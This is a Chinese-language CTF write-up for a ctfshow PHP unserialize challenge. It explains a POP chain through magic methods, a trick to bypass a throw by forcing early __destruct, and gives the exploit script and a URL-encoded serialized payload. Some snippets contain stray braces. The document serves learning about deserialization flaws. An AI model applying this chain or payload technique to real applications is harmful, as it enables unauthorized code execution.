<?php
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
-
__destruct函数的GC回收机制
参考链接:https://www.jianshu.com/p/d73b3ca418b0
在PHP中,没有任何变量指向这个对象时,这个对象就成为垃圾。PHP会将其在内存中销毁;这是PHP 的GC垃圾处理机制,防止内存溢出。
__destruct /unset
__destruct() 析构函数,是在垃圾对象被回收时执行。
unset 销毁的是指向对象的变量,而不是这个对象。
由于有这个throw存,所以$a进行反序列化的时候不会执行__destruct(),
但是如果,我们在throw之前加上一个$a=NULL,这样的话就是主动去摧毁这个类,那么在这里就会调用__destruct()。
那么这个题目绕过throw的方法就是主动去摧毁这个类。
由于反序列化时从左到右的顺序进行重构的,所以我们可以构建一个数组,第一个元素是new Demo,第二个元素的序号为0。
构造一下结构:
a:2:{i:0;O:4:"Demo":0:{}i:0;N;}
利用payload生成:
<?php
highlight_file(__FILE__);
class Demo{
public function __destruct()
{
echo "destruct
";
}
}
$n=new Demo();
$b=null;
$c=array($n,$b);
echo serialize($c);
注意:
第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到a:2:{i:0;O:4:"Demo":0:{}i:1;N;},将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果。
-
分析反序列化的链子
1、one::__destruct()
首先我们进入了one::__destruct()
public function __destruct() {
@$this->object->add();
}
很明显,这个在这几个类的函数中没有add()
所以利用魔术方法就是__call()来调用不可访问(不存在)的方法。
那么就是:
$a=new one();
$a->object=new second();
这个时候进入second::__call()
2、second::__call()
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
这个里面有一个自定义函数:call_user_func()函数,
参考链接:https://blog.csdn.net/u014532717/article/details/56015077
__call()函数中的两个参数,第一个指的是不可访问的变量或者函数的名称也就是add
第二个是传入的参数。
数组参数中,第一个参数是访问的类,第二个参数是访问的函数
那么这个[$this, $func."Me"]中,$this指的是second这个类,$func."Me"就很明显指的是addMe()函数
3、second::addMe()
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
$this->filename很明显是一个字符串,所以应该是调用一个__toString()方法。
这个时候需要给filename赋值,需要赋的是one::__toString()里面的值,
所以
$a->object->filename=new one();
4、one::__toString()
public function __toString() {
return $this->object->string;
}
$this->object->string是调用一个类的私有属性,所以应该是__get()
$a->object->filename->object=new third($name);
5、 third::__get()
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
分析一下,变量var的值为 this−>name,也就是$this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改string的属性来控制,也就是说这里就能动态调用了。
梳理一下链子如下
one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe
这个时候的payload,
<?php
class one {
public $object;
}
class second {
public $filename;
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
}}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third();
echo urlencode(serialize($a));
在本地调试,链子执行的情况正如所预期的那样,
-
在one:MeMeMe中拿到flag
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字
在third::__get()里面怎么调用one::MeMeMe,这里使用数组调用类方法
使 $var=array('$name'=>[new one(),"MeMeMe"]); 就可以 $var[$name]=one::MeMeMe();
所以:
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
然后再exp里面添加上上面成员属性就可以了,这里可以看到前面那个回调函数也使用了这一方法
-
最终的exp:
<?php
class one {
public $object;
public $year_parm=array(0=>"Happy_func");
}
class second {
public $filename;
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
}}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));
最后把i:1改成i:0就行了
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D
Comments | NOTHING